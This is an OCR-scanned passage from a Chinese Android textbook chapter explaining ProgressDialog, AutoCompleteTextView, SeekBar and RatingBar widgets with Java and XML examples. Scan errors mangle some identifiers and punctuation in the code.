当 程 序 运 行 3 秒 后 会 自动 调用 dismiss() 方 法 隐藏 进度 对 话 框 。 程 序 的 运行 效果 如 图 7-22 所 示 。 
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图 7-22 进度 对 话 框 


/ 提示 


关于 使 用 final 声明 ProgressDialog 对 象 。 


本 程序 在 定义 ProgressDialog 对 象 时 使 用 了 如 下 的 操作 语句 : 
final ProgressDialog proDia = ProgressDialog.show(this, 


"搜索 网 络 "," 请 耐心 等 待 …"); 


之 所 以 使 用 final 定义 ， 主 要 目的 是 为 了 让 内 部 类 可 以 访问 方法 中 定义 的 参数 ， 关 于 这 
一 技术 的 说 明 ， 可 以 参考 《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 第 $ 章 的 内 容 。 


以 上 程序 直接 采用 构造 方法 定义 了 进度 对 话 框 ， 也 可 以 采用 如 下 代码 的 方式 完成 : 


private class OncClickListenerlImpl implements OnClickListener { 


@Override 
public void onClick(View v) { 


final ProgressDialog proDia = new ProgressDialog(MyDialogDemo.this); 


proDia.setTitle(" 搜 索 网 络 ") ; 


proDia.setMessage(" 请 耐心 等 待 …") ; 


proDia.onStart() ; 
new Thread() { 
public void run() { 
try{ 


Thread.sleep(3000); 
}catch (Exception e) { 


}finally { 


proDia.dismiss(); 


| 
D.start(); 
proDia.show() ; 


}» 


本 程序 分 步 完成 对 话 框 的 创建 ， 运 行 效果 如 图 7-22 所 示 。 


/设置 标题 
/设置 显示 信息 
/启动 进度 条 
/线程 对 象 
/线程 主体 方法 


/运行 3 秒 后 关闭 对 话 框 


// 关 闭 对 话 框 


// 线 程 启动 
// 显 示 对 话 框 
// 单 击 事件 


在 默认 情况 下 ， 进 度 对 话 框 〈ProgressDialog) 采用 的 是 环形 进度 条 (STYLE_SPINNER) 
的 显示 风格 ， 用 户 也 可 以 根据 需要 将 进度 条 设置 为 水 平 (STYLE_HORIZONTAL ) 显示 风格 。 


【 例 7-38】 定义 Activity 程序 ， 使 用 


package org.Ixh.demo; 
import android.app.Activity; 
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import android.app.ProgressDialog; 

import android.content.Dialoglnterface; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener 
import android.widget.Button; 

public class MyDialogDemo extends Activity { 


private Button mybut = null ; /定义 按钮 组 件 
private static final int MAX_PROGRESS = 100 ; /最 大 进度 值 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; 1// 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 单 击 事件 

} 

private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View v) { 
final ProgressDialog proDia = new ProgressDialog(MyDialogDemo.this); 


proDia.setTitle(" 搜 索 网 络 ") ; // 设 置 标题 
proDia.setMessage(" 请 耐心 等 待 …") ; // 设 置 显 示 信 息 
proDia.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL); /水 平 进度 条 
proDia.setMax(MAX_PROGRESS); // 设 置 最 大 进度 值 
proDia.setProgress(30) ; // 开 始点 


proDia.setButton(" 后 台 处 理 " new Dialoglnterface.OnClickListener() { 
public void onClick(Dialoglnterface dialog, int whichButton) { 
proDia.dismiss(); // 关 闭 对 话 框 
»); 
proDia.setButton2(" 详 细 信 息 ", new DialogInterface.OnClickListener() { 
public void onClick(Dialoglnterface dialog, int whichButton) { 


»); 
proDia.onStart() ; /启动 进度 条 
new Thread() { 1/ 线程 对 象 
public void run() { /| 线程 主体 方法 
for (int x = 0; x < MAX_PROGRESS; x++){ 
try{ 
Thread.sleep(500); /休眠 0.5 秒 
} catch (InterruptedException e){ 
e.printStackTrace(); 
} 
proDia.incrementProgressBy(1); // 进 度 条 每 次 增长 1 
} 
proDia.dismiss(); // 关 闭 对 话 框 
}.start(); /| 线程 启动 
proDia.show() ; // 显 示 对 话 框 
» // 单 击 事件 


} 
本 程序 直接 通过 构造 方法 建立 了 一 个 进度 对 话 框 ， 并 且 通 过 setProgressStyle() 方 法 将 进度 条 
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的 显示 风格 设置 为 水 平 形式 (ProgressDialog.STYLE HORIZONTAL) ， 之 后 使 用 setProgress() 
方法 设置 进度 条 的 开始 数值 ， 而 在 线程 对 象 中 ， 使 用 incrementProgressBy0) 方 法 设置 了 在 原 有 的 
进度 之 上 每 次 增长 数值 为 1。 程 序 的 运行 效果 如 图 7-23 所 示 。 


CEEZTZTEE 


申 车 年 11:25 


@@ 搜索 网 络 


请 耐心 等 


图 7-23 水平 进 度 条 
sf 
说 明 
提问 : 进度 条 的 增长 使 用 setProgress0 还 是 incrementProgressBy0 方 法 ? 
经 实验 发 现 ， 在 线程 操作 类 的 run() 方 法 中 使 用 setProgress() 也 可 以 达到 进度 的 增长 操作 
效果 ， 那 么 是 使 用 setProgress() 方 法 还 是 incrementProgressBy() 方 法 设置 进度 条 的 增长 呢 ? 
回答 : setProgress0 方 法 是 直接 指定 , 而 incrementProgressBy0 方 法 是 在 基础 之 上 增加 。 


如 果 现在 进度 条 每 次 增长 的 数值 用 户 希 望 直 接 指 定 , 例如 , 现在 的 值 是 10 或 者 是 20 等 ， 
是 一 个 准确 的 数值 ， 而 使 用 incrementProgressBy() 方 法 本 身 不 管 原本 进度 条 中 的 内 容 ， 而 是 
在 其 已 有 的 数值 基础 之 上 继续 增长 。 


7.4 随笔 提示 文本 : AutoCompleteTextView 


在 使 用 搜索 引擎 的 过 程 中 ， 经 常会 看 见 一 些 随笔 的 信息 提示 功能 ， 例 如 ，Google 中 的 随笔 
提示 功能 如 图 7-24 所 示 。 


Google 


李兴华 
李兴华 java 
李兴华 博客 
图 7-24 Google 的 随笔 提示 功能 


随笔 提示 功能 可 以 很 好 地 帮助 用 户 进行 信息 输入 ， 而 在 Android 中 也 提供 了 与 之 类 似 的 
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功能 ， 该 功能 的 实现 需要 依靠 android.widget.AutoCompleteTextView 类 完成 ， 此 类 的 继承 结 


构 如 下 : 
java.lang.Object 


b android.view.View 
b android.widget. TextView 
b android.widget.EditText 


b android.widget.AutoCompleteTextView 
AutoCompleteTextView 类 的 常用 方法 如 表 7-12 所 示 。 


表 7-12 AutoCompleteTextView 类 的 常用 方法 


外 public void clearListSelection() 普通 清除 所 有 的 下 拉 列 表 项 
2 public ListAdapter getAdapter() 取得 数据 集 
3 public void setAdapter(T adapter) 设置 数据 集 


普通 
4 poublic Void setOnClickListener(View.OnClickListener 普通 设置 单 击 事件 
listener) 
a 
日 
普 i 


public void setOnItemClickListener(AdapterView. SE ee 
5 e 通 和 上 选项 上 设置 单 击 事件 
OnItemClickListener D) 在 选项 上 设置 单 击 事 伯 
6 public void i 选项 选中 时 的 单 击 事 件 
OnlItemSelectedListener 1 


使 用 AutoCompleteTextView 类 操作 时 , 需要 将 所 有 的 数据 使 用 ListAdapter 进行 封装 后 才 可 
以 增加 到 下 拉 提 示 框 中 ， 下 面 通过 一 个 实际 的 应 用 来 观察 具体 的 操作 。 
【 例 7-39】 定义 布局 文件 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<AutoCompleteTextView // 自 动 填充 文本 

android:id="@+id/myauto” /组件 ID， 程 序 中 使 用 

android:layout_width="fill_parent”" 1/ 组 件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content” /> // 组 件 高 度 为 本 身高 度 
</LinearLayout> 


【 例 7-40】 定义 Activity 程序 ， 操 作 下 拉 提 示 框 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.ArrayAdapter; 
import android.widget.AutoCompleteTextView; 
public class MyAutoCompleteTextViewDemo extends Activity { 

private static final String DATAU = new String[] { "mldn", "mldn java ， 
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"mldn 魔 乐 科技 ", "mldn 李兴华 ", "mldn job" }; /设置 数据 
private AutoCompleteTextView myauto = null; /文本 提示 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 
ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, 
android.R.layout.simple_dropdown_item_1line, DATA); // 定 义 数据 集 
this.myauto = (AutoCompleteTextView) super .findViewByld(R.id.myAuto)，// 取 得 组 件 
this.myauto.setAdapter(adapter); // 设 置 数据 集 


} 
} 


本 程序 中 将 所 有 需要 的 提示 信息 都 保存 在 了 DATA 字符 串 数组 中 ， 然 后 利用 ArrayAdapter 
对 数组 数据 进行 封装 ， 再 将 其 设置 到 AutoCompleteTextView 组 件 中 ， 当 用 户 输入 信息 时 会 进行 
提示 。 程 序 的 运行 效果 如 图 7-25 所 示 。 


CE Es 


mldn 


mldn 


mldn java 


mldn 魔 乐 科 技 


图 7-25 下 拉 提 示 框 
7.5 拖 动 条 : SeekBar 


拖 动 条 〈SeekBar) 组 件 与 水 平 形式 显示 的 进度 条 类 似 ， 两 者 最 大 的 区 别 在 于 ， 拖 动 条 可 以 
由 用 户 进行 手工 调节 ， 例 如 ， 当 用 户 需要 调整 播放 器 音量 或 电影 的 播放 进度 时 都 会 使 用 到 拖 动 
条 。SeekBar 类 的 定义 结构 如 下 : 

java.lang.Object 


b android.view.View 
b android.widget.ProgressBar 
b android.widget.AbsSeekBar 


b android.widget.SeekBar 
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通过 继承 结构 可 以 发 现 , SeekBar 类 属于 ProgressBar 的 子 类 , 此 类 常用 的 方法 如 表 7-13 所 示 。 


表 7-13 SeekBar 类 的 常用 方法 


No. 放 法 : 描述 
1 public SeekBar(Context context 创建 SeekBar 类 的 对 象 
ublic void setOnSeekBarChangeListener(SeekBar. E es 
区 | 人 设置 改变 监听 操作 
OnSeekBarChangeListener 1) 
3 public synchronized void setMax(int max) 设置 增长 的 最 大 值 


在 使 用 setOnSeekBarChangeListener() 方 法 对 组 件 进行 监听 时 ， 要 使 用 SeekBar. 
OnSeekBarChangeListener 接口 ， 此 接口 定义 如 下 : 
public static interface SeekBar.OnSeekBarChangeListenerf 
pe 
* 开始 拖 动 时 触发 操作 
* @param seekBar 触发 操作 的 SeekBar 组 件 对 象 
public abstract void onStartTrackingTouch(SeekBar seekBar) ; 
tr 
* @param seekBar 触发 操作 的 SeekBar 组 件 对 象 
* @param progress 当前 的 进度 值 
* @param fromUser 是 否 为 用 户 自己 触发 
public abstract void onProgressChanged(SeekBar seekBar, int progress, boolean fromUsen) ; 
or 
* 停止 拖 动 时 触发 操作 
* @param seekBar 触发 操作 的 SeekBar 组 件 对 象 
public abstract void onStopTrackingTouch(SeekBar seekBar) ; 
} 
下 面 直接 通过 布局 管理 器 定义 一 个 SeekBar 组 件 ， 之 后 为 此 组 件 设置 OnSeekBarChangeListener 
的 监听 操作 ， 并 在 文本 框 中 记录 每 次 的 操作 结果 。 
【 例 7-41】 在 main.xml 文件 中 定义 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” // 定 义 布局 管理 器 ID 
android:orientation="vertica/” /所 有 组 件 垂直 排列 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<SeekBar /定义 拖 动 条 组 件 
android:id="@+id/seekbar” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 显示 高 度 
<TextView /| 定义 文本 显示 组 件 
android:id="@+id/text” // 组 件 ID， 程 序 中 使 用 
android:scrollbars="vertical” // 使 用 垂直 滚动 条 
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android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


本 程序 中 定义 了 一 个 拖 动 条 组 件 (SeekBar) 和 一 个 文本 显示 组 件 (TextView) ， 当 拖 动 事 
件 触发 时 ， 将 在 文本 框 中 记录 所 拖 动 的 数值 。 另 外 ， 考 虑 到 在 文本 组 件 中 文字 过 多 的 情况 ， 所 
以 使 用 android:scrollbars="vertical" 属 性 增加 了 一 个 垂直 的 滚动 条 ， 以 方便 用 户 对 数据 的 浏览 。 
【 例 7-42】 定义 Activity 程序 ， 对 拖 动 条 进行 监听 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.text.method.ScrollingMovementMethod; 
import android.widget.SeekBar 
import android.widget. TextView; 
public class MySeekBarDemo extends Activity { 
private SeekBar seek = null ; 
private TextView text = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


this.seek = (SeekBar) super.findViewByld(R.id.seekban) ; /取得 SeekBar 
this text = (TextView) super findViewByld(R.id.text) ; /取得 TextView 


this.text.setMovementMethod(ScrollingMovementMethod.get/instance()); /滚动 文本 
this.seek.setOnSeekBarChangeListener(new OnSeekBarChangeListenerlImpl()); 
} 
private class OnSeekBarChangeListenerImpl implements 
SeekBar.OnSeekBarChangeListener { /设置 操作 监听 
@Override 
public void onProgressChanged(SeekBar seekBar, int progress, 
boolean fromUser) { 
MySeekBarDemo.this .text.append("“** 开始 拖 动 ， 当 前 值 :" 
+ seekBar.getProgress() + \n"); 
} 
@Override 
public void onStartTrackingTouch(SeekBar seekBar) { 
text.append("** 正在 拖 动 ， 当 前 值 : " + seekBar.getProgress() + "\n"); 
1 
@Override 
public void onStopTrackingTouch(SeekBar seekBar) { 
text.append(”“** 停止 拖 动 ， 当 前 值 : " + seekBar.getProgress() + "\n"); 
} 
} 
} 
本 程序 首先 分 别 取得 了 拖 动 条 和 文本 显示 组 件 ， 之 后 使 用 SeekBar 类 的 
setOnSeekBarChangeListener() 方 法 对 拖 动 操作 进行 监听 ， 并 使 用 文本 组 件 的 append0 方 法 ， 将 所 
有 的 信息 显示 在 文本 组 件 中 。 程 序 的 运行 效果 如 图 7-26 所 示 。 
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CEDY TE 


图 7-26 拖 动 SeekBar 组 件 


另外 ， 在 本 程序 中 ， 由 于 深 动 条 的 每 一 次 操作 都 需要 进行 监听 ， 为 了 防止 TextView 文字 过 
多 无 法 显示 ， 所 以 在 TextView 中 使 用 了 如 下 代码 进行 滚动 条 的 设置 : 

this.text.setMovementMethod(ScrollingMovementMethod.getinstance()); /滚动 文本 

只 有 加 上 此 操作 后 ，android:scrollbars="vertical" 配 置 的 滚动 条 才 可 以 正常 使 用 。 

通过 如 上 程序 可 以 发 现 ， 在 默认 情况 下 拖 动 条 的 数据 都 是 从 0 开始 的 ， 而 默认 的 最 大 值 是 
100， 也 可 以 使 用 setMax() 方 法 修改 拖 动 条 的 最 大 值 。 下 面 使 用 拖 动 条 完成 一 个 图 片 显示 切换 的 
操作 ， 在 本 程序 中 有 10 张 图 片 ， 当 用 户 使 用 SeekBar 拖 动 时 ， 会 显示 不 同 的 图 片 。 

【 例 7-43】 定义 布局 管理 器 一 一 main.xml 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程序 中 使 用 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView // 定 义 图 片 组 件 

android:id="@+id/pic” // 组 件 ID， 程 序 中 使 用 
android:src="@drawable/pic_0" /默认 显示 图 片 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 图 片 高 度 
<SeekBar tt 
android:id="@+id/seekbar” 1// 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 a 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 自身 高 度 
</LinearLayout> 
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在 本 布局 管理 器 中 只 定义 了 两 个 组 件 : ImageView 和 SeekBar，ImageView 组 件 负 责 显 示 图 

片 ， 而 SeekBar 组 件 负 责 切换 图 片 。 
【 例 7-44】 定义 Activity 程序 ， 进 行 图 片 切换 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.ImageView; 

import android.widget.SeekBar'; 

public class MySeekBarDemo extends Activity { 


} 


private SeekBar seek = null ; /定义 拖 动 条 
private ImageView pic = null ; /定义 图 片 视图 


private int picData[] = new int[] { R.drawable.pic_0, R.drawable.pic_1， 


R.drawable.pic_2, R.drawable.pic_3, R.drawable.pic_4, 
R.drawable.pic_5, R.drawable.pic_6, R.drawable.pic_7, 
R.drawable.pic_8, R.drawable.pic_9}; // 显 示 图 片 


@Override 
public void onCreate(Bundle savedInstanceState) { 


} 


super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this.seek = (SeekBar) super.findViewByld(R.id.seekban) ; /取得 SeekBar 
this.pic = (ImageView) super .findViewByld(R.id.pic) ; /取得 ImageView 
this.seek.setMax(9) ; /设置 最 大 值 


this.seek.setOnSeekBarChangeListener(new OnSeekBarChangeListenerlImpl()); 


private class OnSeekBarChangeListenerImpl implements 


} 


SeekBar.OnSeekBarChangeListener { /设置 操作 监听 
@Override 
public void onProgressChanged(SeekBar seekBar, int progress, 
boolean fromUser) { // 正 在 拖 动 
MySeekBarDemo.this.pic 
.SetlmageResource(MySeekBarDemo.this.picData[seekBar 
.getProgress()]); // 收 改 显 示 图 片 
h 
@Override 
public void onStartTrackingTouch(SeekBar seekBar) { // 开 始 拖 动 
} 
@Override 
public void onStopTrackingTouch(SeekBar seekBar) { // 停 止 拖 动 
} 


本 程序 将 SeekBar 的 最 大 值 设置 为 9(this.seek.setMax(9)， 取 值 范 围 为 0-9) ， 而 且 将 所 有 
需要 显示 的 图 片 都 定义 在 了 picData 数组 中 ， 当 拖 动 SeekBar 时 ， 会 根据 SeekBar 的 当前 值 ， 取 
得 数组 中 指定 位 置 的 图 片 资源 IJD ,并 将 图 片 显 示 在 ImageView 组 件 中 。 程 序 的 运行 效果 如 图 7-27 


所 示 。 


174 


第 7 章 Android 中 的 基本 控件 (下 ) 


图 7-27 拖 动 SeekBar 改变 图 片 


清楚 了 SeekBar 组 件 及 其 事件 处 理 操作 之 后 ， 下 面 继续 完 成 一 个 较为 实用 的 功能 。Android 
手机 一 般 都 有 屏幕 亮度 调节 的 功能 , 而 这 种 操作 往往 就 是 通过 SeekBar 组 件 实现 的 。 要 想 实 现 亮 
度 的 调节 功能 ， 就 必须 使 用 android.view.Window 类 (窗口 类 ) 的 screenBrightness 属性 实现 ， 而 
此 属性 的 取 值 范围 是 0~1 (由 暗 到 亮 ) ， 下 面 通过 代码 具体 说 明 。 


提示 
本 程序 要 在 真 机 上 完成 。 
要 想 观察 本 程序 的 运行 效果 ， 则 一 定 要 将 程序 安装 在 Android 手机 上 ， 在 模拟 器 上 是 无 
法 观察 到 运行 效果 的 。 
【 例 7-45】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<SeekBar // 定 义 拖 动 条 组 件 

android:id="@+id/seekbar” // 组 件 ID， 程 序 中 使 用 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height= "wrap_content"/> // 组 件 高 度 为 自身 高 度 
<ImageView /定义 图 片 显示 组 件 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height= "wrap_content" // 组 件 高 度 为 图 片 高 度 

android:src="@drawable/android_book" /> // 图 片 显 示 的 资源 ID 

</LinearLayout> 


本 程序 定义 了 拖 动 条 (SeekBar) 和 图 片 显 示 (ImageView) 两 个 组 件 ， 这 样 在 进行 拖 动 条 
改变 时 可 以 改变 屏幕 亮度 。 
【 例 7-46】 定义 Activity 程序 ， 实 现 屏 幕 亮 度 的 调节 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.WindowManager; 

import android.widget.SeekBar; 

public class MyBrightnessDemo extends Activity { 
private SeekBar seekbar = null; // 拖 动 条 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 
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super.setContentView(R.layout.main); /调用 布局 管理 器 
this.seekbar = (SeekBar) super.findViewByld(R.id.seekbar);”// 取 得 组 件 
this.seekbar.setMax(100); /以 后 计算 的 时 候 除 以 100 
this.seekbar.setOnSeekBarChangeListener( 
new OnSeekBarChangeListenerlmpl()); // 设 置 拖 动 事件 
private class OnSeekBarChangeListenerImpl implements 
SeekBar.OnSeekBarChangeListener { // 设 置 操 作 监 
@Override 
public void onProgressChanged(SeekBar seekBar, int progress, 
boolean fromUser) { // 正 在 拖 动 
} 
@Override 
public void onStartTrackingTouch(SeekBar seekBar) { /开始 拖 动 
} 
@Override 
public void onStopTrackingTouch(SeekBar seekBar){ ”// 停 止 拖 动 
MyBrightnessDemo.this.setScreenBrightness((float) seekBar 
.getProgress() / 100); // 计 算出 当前 值 
b 
} 


private void setScreenBrightness(float num) { 
WindowManager.LayoutParams layoutParams = 


getWindow().getAttributes(); // 取 得 window 属性 
layoutParams.screenBrightness = num; /num 已 经 除 以 100 
Super.getWindow().setAttributes(layoutParams); /0~1 之 间 
} 
本 程序 直接 通过 SeekBar 组 件 的 拖 动 改变 屏幕 亮度 ， 由 于 亮度 只 能 用 0~1 之 间 的 数字 表示 ， 


所 以 在 每 次 拖 动 之 后 都 会 将 当前 的 内 容 除 以 100 (float) seekBar.getProgress() /100) ， 之 后 将 此 
内 容 设 置 到 window 的 screenBrightness 属性 中 ， 以 达到 对 亮度 的 控制 。 


7.6 评分 组 件 : RatingBar 


如 果 现 在 用 户 要 对 某 个 应 用 程序 打分 , 往往 会 使 用 如 图 7-28 所 示 六 启 启 启 启 非常 不 错 哦 ! 
的 组 件 ， 通 过 选择 的 五 角 星 的 个 数 来 决定 最 终 的 打分 成 绩 。 a 
这 样 的 功能 在 Android 中 可 以 使 用 RatingBar 组 件 实现 ， 使 用 此 
组 件 可 以 方便 用 户 的 输入 ， 而 且 很 直观 。RatingBar 类 的 定义 结构 如 下 : 
java.lang.Object 
b android.view.View 
b android.widget.ProgressBar 


b android.widget.AbsSeekBar 


b android.widget.RatingBar 
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RatingBar 类 的 功能 与 SeekBar 组 件 类 似 , 都 是 通过 拖 搜 来 实现 的 , 该 类 的 常用 方法 如 表 7-14 
所 示 。 
表 7-14 RatingBar 类 的 常用 方法 
No. 属 性 描述 
1 public RatingBar(Context context 创建 RatingBar 对 象 
2 |public int getNumStars0 普 ii 取得 评分 数量 
3 |public float getRating0 取得 当前 值 
4 |public float getStepSize0 普 ii 取得 设置 的 步 长 
5 public boolean isIndicator0) 普 ii 判断 是 否 可 以 操作 
6 _|public void setIsIndicator(boolean isIndicator) android:isIndicator | 设置 是 否 可 以 操作 
7 |public synchronized void setMax(int max) 普 和 设置 最 大 值 
8 |public void setNumStars(int numStars) 普 j android:numStars | 设置 评分 星 的 个 数 
public void setOnRatingBarChangeListener 设置 操作 监听 
10 android:rating 设置 当前 值 
11 android:stepSize “| 设置 每 次 增长 的 步 长 


在 操作 评分 组 件 时 会 产生 评分 监听 的 操作 事件 ， 而 此 事件 使 用 RatingBar. 
OnRatingBarChangeListener 接口 处 理 ， 此 接口 定义 如 下 : 
public static interface RatingBar.OnRatingBarChangeListener{ 
pa 
* 评分 监听 的 处 理 操作 
* @param ratingBar 当前 触发 此 事件 的 RatingBar 对 象 
* @param rating 当前 RatingBar 的 数值 
* @param fromUser 是 否 由 用 户 操作 
3 
public abstract void onRatingChanged(RatingBar ratingBar, float rating, boolean fromUser) ; 
} 
下 面 将 定义 两 个 评分 组 件 ， 其 中 有 一 个 是 可 以 操作 的 组 件 (android:isIndicator="false") ， 另 
-个 是 不 可 以 操作 的 组 件 (android:isIndicator="true") 。 
【 例 7-47】 在 main.xml 文件 中 定义 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<RatingBar /定义 评分 组 件 

android:numStars="5" // 有 5 颗 评 分 星 
android:stepSize="0.5" /| 每 次 评分 步 长 为 0.5 
android:isIndicator="false” // 用 户 可 以 操作 
android:id="@+id/ratingbarA” // 组 件 ID， 程 序 中 使 用 
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android:layout_width="wrap_content”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 显示 高 度 
<RatingBar /定义 评分 组 件 
android:numStars="5" // 有 5 颗 评 分 星 
android:rating="3” 1/ 默认 的 分 数 
android:isIndicator="true” 1/ 用 户 不 可 操作 
android:id="@+id/ratingbarB”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 显示 高 度 
<TextView // 文 本 显示 组 件 
android:id="@+id/text" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" 1/ 组件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


本 程序 定义 了 两 个 评分 组 件 (RatingBar) ， 一 个 是 用 户 可 以 操作 的 组 件 (ratingbarA) ， 另 

-个 是 用 户 不 可 以 操作 的 组 件 (ratingbarB) ， 而 且 每 个 组 件 的 默认 值 “android:rating) 不 一 样 ， 
增长 的 步 长 (android:stepSize) 也 不 一 样 。 
【 例 7-48】 在 Activity 程序 中 对 评分 组 件 (ratingbarA) 的 操作 进行 监听 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.RatingBar'; 

import android.widget. TextView; 

public class MyRatingBarDemo extends Activity { 


private RatingBar ratingBarA = null; // 定 义 评分 组 件 
private TextView text = null; // 文 本 显示 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.ratingBarA = (RatingBar) super.findViewByld(R.id.ratingbarA) ; 
this text = (TextView) super .findViewByld(R.id.text) ; // 取 得 组 件 
this.ratingBarA.setOnRatingBarChangeListener( 
new OnRatingBarChangeListenerlmpl()); // 设 置 监听 
} 
private class OnRatingBarChangeListenerImpl implements 
RatingBar.OnRatingBarChangeListener { 
@Override 
public void onRatingChanged(RatingBar ratingBar, float rating, 
boolean fromUser) { 
MyRatingBarDemothis textappend("““** 当前 值 (Rating):" 
+ ratingBar.getRating() + "， 增 长 步 长 : " 
+ ratingBar.getStepSize() + "\n"); // 增 加 文本 显示 


} 
} 
由 于 第 一 个 评分 组 件 (ratingBarA) 是 用 户 可 以 操作 的 ， 所 以 本 程序 首先 取得 了 此 组 件 ， 而 
后 直接 在 此 组 件 上 通过 setOnRatingBarChangeListener() 方 法 对 操作 进行 了 监听 , 当 用 户 更 改 评分 
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时 ， 会 直接 在 文本 框 中 将 用 户 的 每 次 操作 进行 记录 。 程 序 的 运行 效果 如 图 7-29 所 示 。 

以 上 代码 只 是 为 用 户 构 建 出 了 一 个 最 基本 的 评分 组 件 ， 而 且 可 以 发 现 ， 评 分 组 件 在 默认 情 
况 下 显示 的 图 片 是 五 角 星 如 图 7-30 所 示 ) ， 也 可 以 根据 需要 定义 自己 的 显示 图 片 。 在 图 7-31 
中 定义 了 两 张 图 片 ， 分 别 表示 选中 (第 一 进度 条 ， 如 图 7-31 (a) 所 示 ) 和 未 选中 (第 二 进度 条 ， 
如 图 7-31 (b) 所 示 ) 时 的 显示 图 形 ， 在 使 用 时 ， 需 要 将 图 片 保存 在 drawable-* 文 件 夹 中 (本 程 
序 为 了 方便 ， 直 接 将 其 保存 在 了 drawable-hdpi 文件 夹 ) 。 


Wm 5554:Android_2.3 
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图 7-29 显示 评分 组 件 图 7-30 默认 的 显示 图 片 是 五 角 星 
< 上 


(a) 第 一 进度 条 图 片 (b) 第 二 进度 条 图 片 
图 7-31 自 定义 评分 组 件 图 片 
随后 需要 在 保存 图 片 的 文件 夹 (drawable-*) 中 定义 一 个 star_conf file.xml 文件 夹 ， 以 分 别 
草 述 图 7-31 所 示 的 两 张 图 片 的 信息 。 
【 例 7-49】 图 片 描述 信息 一 一 drawable-*\star_conf file xml 
<?xml version="1.0" encoding="utf-8"?> 


<layer-list // 定 义 图 层 列表 项 
xmlins:android="http:/schemas.android.com/apk/res/android"> 
<item /| 定义 列 表 属 性 
android:id="@+android:id/background" /| 背景 显示 图 片 
android:drawable="@drawable/star_empty"/> /将 star_empty.png 作为 显示 图 片 
<item /定义 列表 属性 


android:id="@+android:id/secondaryProgress" /定义 第 二 进度 条 显示 图 片 
android:drawable="@drawable/star_empty"/> // 将 star_empty.png 作为 第 二 进度 条 图 片 


<item // 定 义 列 表 属 性 
android:id="@+android:id/progress” // 定 义 第 一 进度 条 显示 图 片 
